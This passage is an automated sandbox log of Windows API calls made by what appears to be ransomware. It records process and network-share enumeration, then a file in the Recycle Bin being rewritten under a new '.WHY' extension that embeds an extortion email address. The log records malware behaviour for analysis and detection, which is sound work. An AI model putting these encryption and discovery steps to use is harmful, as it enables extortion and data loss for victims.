th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0083.962] lstrlenW (lpString="taskeng.exe") returned 11 [0083.962] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.963] lstrlenW (lpString="taskhost.exe") returned 12 [0083.964] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.965] lstrlenW (lpString="svchost.exe") returned 11 [0083.965] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0083.966] lstrlenW (lpString="sppsvc.exe") returned 10 [0083.967] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.968] lstrlenW (lpString="svchost.exe") returned 11 [0083.968] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0083.969] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0083.969] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0083.971] lstrlenW (lpString="visa thought.exe") returned 16 [0083.971] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0083.973] lstrlenW (lpString="instrumental.exe") returned 16 [0083.973] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0083.974] lstrlenW (lpString="mouth tree.exe") returned 14 [0083.974] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0083.976] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0083.976] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0083.977] lstrlenW (lpString="thisul.exe") returned 10 [0083.978] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0083.979] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0083.979] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0083.981] lstrlenW (lpString="tired grad keep.exe") returned 19 [0083.981] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0083.982] lstrlenW (lpString="basename_nested.exe") returned 19 [0083.982] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0083.983] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0083.984] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0083.985] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0083.985] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0083.986] lstrlenW (lpString="exotic.exe") returned 10 [0083.986] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0083.988] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0083.988] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0083.989] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0083.989] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0083.991] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0083.991] Process32NextW (hSnapshot=0x200, lppe=0x21ffd34) Thread: id = 5 os_tid = 0x174 [0055.265] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0055.265] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4c0000) returned 1 Thread: id = 6 os_tid = 0x490 [0055.267] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0055.267] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f5ac8 [0055.267] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5ac8, Size=0x40) returned 0x4f6ba8 [0055.267] GetLogicalDrives () returned 0x4 [0055.267] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x51d5a8 [0055.267] GetComputerNameW (in: lpBuffer=0x51d5ac, nSize=0x23fff6c | out: lpBuffer="XDUWTFONO", nSize=0x23fff6c) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1000) returned 0x513210 [0055.268] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x4f60a8) returned 0x0 [0055.269] WNetEnumResourceW (in: hEnum=0x4f60a8, lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40) returned 0x103 [0055.270] WNetCloseEnum (hEnum=0x4f60a8) returned 0x0 [0055.270] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x50bf70) returned 0x0 [0059.084] WNetEnumResourceW (in: hEnum=0x50bf70, lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40) returned 0x0 [0059.084] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1000) returned 0x518ef8 [0059.085] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x513210, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x4f6368) returned 0x0 [0059.276] WNetEnumResourceW (in: hEnum=0x4f6368, lpcCount=0x23fff0c, lpBuffer=0x518ef8, lpBufferSize=0x23fff14 | out: lpcCount=0x23fff0c, lpBuffer=0x518ef8, lpBufferSize=0x23fff14) returned 0x103 [0059.277] WNetCloseEnum (hEnum=0x4f6368) returned 0x0 [0059.277] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1000) returned 0x5b5668 [0059.277] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x513230, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x0) returned 0x4b8 [0081.402] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1000) returned 0x40ca0c0 [0081.402] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x513250, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x0) returned 0x4c6 [0081.427] WNetEnumResourceW (in: hEnum=0x50bf70, lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x513210, lpBufferSize=0x23fff40) returned 0x103 [0081.427] WNetCloseEnum (hEnum=0x50bf70) returned 0x0 [0081.427] GetLogicalDrives () returned 0x4 [0081.427] Sleep (dwMilliseconds=0x64) [0081.826] GetLogicalDrives () returned 0x4 [0081.826] Sleep (dwMilliseconds=0x64) [0082.466] GetLogicalDrives () returned 0x4 [0082.466] Sleep (dwMilliseconds=0x64) [0083.261] GetLogicalDrives () returned 0x4 [0083.262] Sleep (dwMilliseconds=0x64) [0083.809] GetLogicalDrives () returned 0x4 [0083.809] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x664 [0057.621] GetTickCount () returned 0x1156e7c [0057.621] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x24) returned 0x54dab0 [0057.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54dab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0057.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54dab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0057.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54dab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0057.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54dab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0057.647] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560280 [0057.647] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560280, Size=0x20) returned 0x514708 [0057.647] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560280 [0057.647] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560280, Size=0x20) returned 0x514730 [0057.647] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0057.648] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0057.648] Wow64DisableWow64FsRedirection (in: OldValue=0x22fff84 | out: OldValue=0x22fff84*=0x0) returned 1 [0057.648] lstrlenW (lpString="kernel32.dll") returned 12 [0057.648] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514708 | out: hHeap=0x4c0000) returned 1 [0057.648] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.648] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514730 | out: hHeap=0x4c0000) returned 1 [0057.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4fb598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0057.650] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0058.282] GetTickCount () returned 0x1156f18 [0058.282] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0058.516] GetTickCount () returned 0x1156f95 [0058.516] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0058.798] GetTickCount () returned 0x1157012 [0058.798] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0059.052] GetTickCount () returned 0x11570cd [0059.052] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0059.284] GetTickCount () returned 0x11571b7 [0059.287] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0059.580] GetTickCount () returned 0x1157272 [0059.580] GetTickCount () returned 0x1157272 [0059.580] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0060.049] GetTickCount () returned 0x11573d9 [0060.049] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0060.771] GetTickCount () returned 0x11575ad [0060.771] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0061.004] GetTickCount () returned 0x1157697 [0061.004] GetTickCount () returned 0x1157697 [0061.004] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0061.530] GetTickCount () returned 0x115789a [0061.530] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0061.940] GetTickCount () returned 0x1157a2f [0061.940] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0062.708] GetTickCount () returned 0x1157c9f [0062.709] GetTickCount () returned 0x1157c9f [0062.709] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0063.220] GetTickCount () returned 0x1157ea2 [0063.220] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0063.514] GetTickCount () returned 0x1157fcb [0063.514] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0063.807] GetTickCount () returned 0x11580f3 [0063.807] GetTickCount () returned 0x11580f3 [0063.807] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0064.197] GetTickCount () returned 0x1158279 [0064.197] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0064.786] GetTickCount () returned 0x11584ba [0064.791] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0065.555] GetTickCount () returned 0x115871b [0065.556] GetTickCount () returned 0x115871b [0065.556] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0066.054] GetTickCount () returned 0x115890e [0066.054] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0066.491] GetTickCount () returned 0x1158ac3 [0066.491] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0066.975] GetTickCount () returned 0x1158ca6 [0066.975] GetTickCount () returned 0x1158ca6 [0066.975] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0068.206] GetTickCount () returned 0x1158db0 [0068.207] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0068.416] GetTickCount () returned 0x1158e7a [0068.416] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0068.736] GetTickCount () returned 0x1158fb2 [0068.736] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0068.971] GetTickCount () returned 0x115909c [0068.972] GetTickCount () returned 0x115909c [0068.972] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.182] GetTickCount () returned 0x1159167 [0069.182] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.390] GetTickCount () returned 0x1159232 [0069.390] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.544] GetTickCount () returned 0x11592ce [0069.544] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.878] GetTickCount () returned 0x1159425 [0069.878] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0070.204] GetTickCount () returned 0x115956d [0070.204] GetTickCount () returned 0x115956d [0070.204] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0070.546] GetTickCount () returned 0x11596c4 [0070.546] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0071.051] GetTickCount () returned 0x1159879 [0071.052] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0071.484] GetTickCount () returned 0x1159a2e [0071.484] GetTickCount () returned 0x1159a2e [0071.484] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0071.939] GetTickCount () returned 0x1159bf2 [0071.939] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0072.170] GetTickCount () returned 0x1159cdc [0072.170] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0072.435] GetTickCount () returned 0x1159de5 [0072.435] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0072.990] GetTickCount () returned 0x115a007 [0072.990] GetTickCount () returned 0x115a007 [0072.990] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0073.347] GetTickCount () returned 0x115a16e [0073.347] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0073.775] GetTickCount () returned 0x115a323 [0073.776] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0074.306] GetTickCount () returned 0x115a526 [0074.306] GetTickCount () returned 0x115a526 [0074.306] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0074.941] GetTickCount () returned 0x115a796 [0074.941] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0075.304] GetTickCount () returned 0x115a90c [0075.304] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0075.821] GetTickCount () returned 0x115ab0f [0075.821] GetTickCount () returned 0x115ab0f [0075.821] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0076.631] GetTickCount () returned 0x115ae3a [0076.631] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0077.014] GetTickCount () returned 0x115afb0 [0077.014] GetTickCount () returned 0x115afb0 [0077.014] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0077.438] GetTickCount () returned 0x115b146 [0077.438] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0077.862] GetTickCount () returned 0x115b2eb [0077.862] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0078.299] GetTickCount () returned 0x115b4a0 [0078.299] GetTickCount () returned 0x115b4a0 [0078.299] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0079.744] GetTickCount () returned 0x115ba0c [0079.744] GetTickCount () returned 0x115ba0c [0079.744] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0080.253] GetTickCount () returned 0x115bbf0 [0080.253] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0080.749] GetTickCount () returned 0x115bde3 [0080.749] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0081.256] GetTickCount () returned 0x115bfd6 [0081.256] GetTickCount () returned 0x115bfd6 [0081.256] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0081.700] GetTickCount () returned 0x115c19b [0081.700] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0082.349] GetTickCount () returned 0x115c3ec [0082.349] GetTickCount () returned 0x115c3ec [0082.349] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0083.210] GetTickCount () returned 0x115c746 [0083.210] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0083.808] GetTickCount () returned 0x115c9a6 [0083.808] GetTickCount () returned 0x115c9a6 [0083.808] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x7f0 [0059.088] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x53d5d0 [0059.089] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x54fff0 [0059.089] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5602b0 [0059.089] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x4fa380 [0059.089] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560370 [0059.089] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x2f00020 [0059.090] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560388 [0059.090] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560388, Size=0x20) returned 0x514870 [0059.090] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560388 [0059.090] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560388, Size=0x20) returned 0x514898 [0059.090] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.090] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.090] Wow64DisableWow64FsRedirection (in: OldValue=0x28fff58 | out: OldValue=0x28fff58*=0x0) returned 1 [0059.091] lstrlenW (lpString="kernel32.dll") returned 12 [0059.091] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514870 | out: hHeap=0x4c0000) returned 1 [0059.091] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.091] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514898 | out: hHeap=0x4c0000) returned 1 [0059.091] Sleep (dwMilliseconds=0x64) [0059.414] lstrcmpiW (lpString1=".ini", lpString2=".WHY") returned -1 [0059.414] lstrlenW (lpString="desktop.ini") returned 11 [0059.414] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0059.415] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=129) returned 1 [0059.415] CloseHandle (hObject=0x17c) returned 1 [0059.415] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0059.416] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.416] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0059.416] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.417] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.417] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.420] GetLastError () returned 0x0 [0059.420] ReadFile (in: hFile=0x17c, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x81, lpOverlapped=0x0) returned 1 [0059.526] WriteFile (in: hFile=0x180, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x90, lpOverlapped=0x0) returned 1 [0059.529] ReadFile (in: hFile=0x17c, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.529] WriteFile (in: hFile=0x180, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.530] SetEndOfFile (hFile=0x180) returned 1 [0059.530] CloseHandle (hObject=0x180) returned 1 [0059.534] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.535] SetEndOfFile (hFile=0x17c) returned 1 [0059.537] CloseHandle (hObject=0x17c) returned 1 [0059.537] SetFileAttributesW 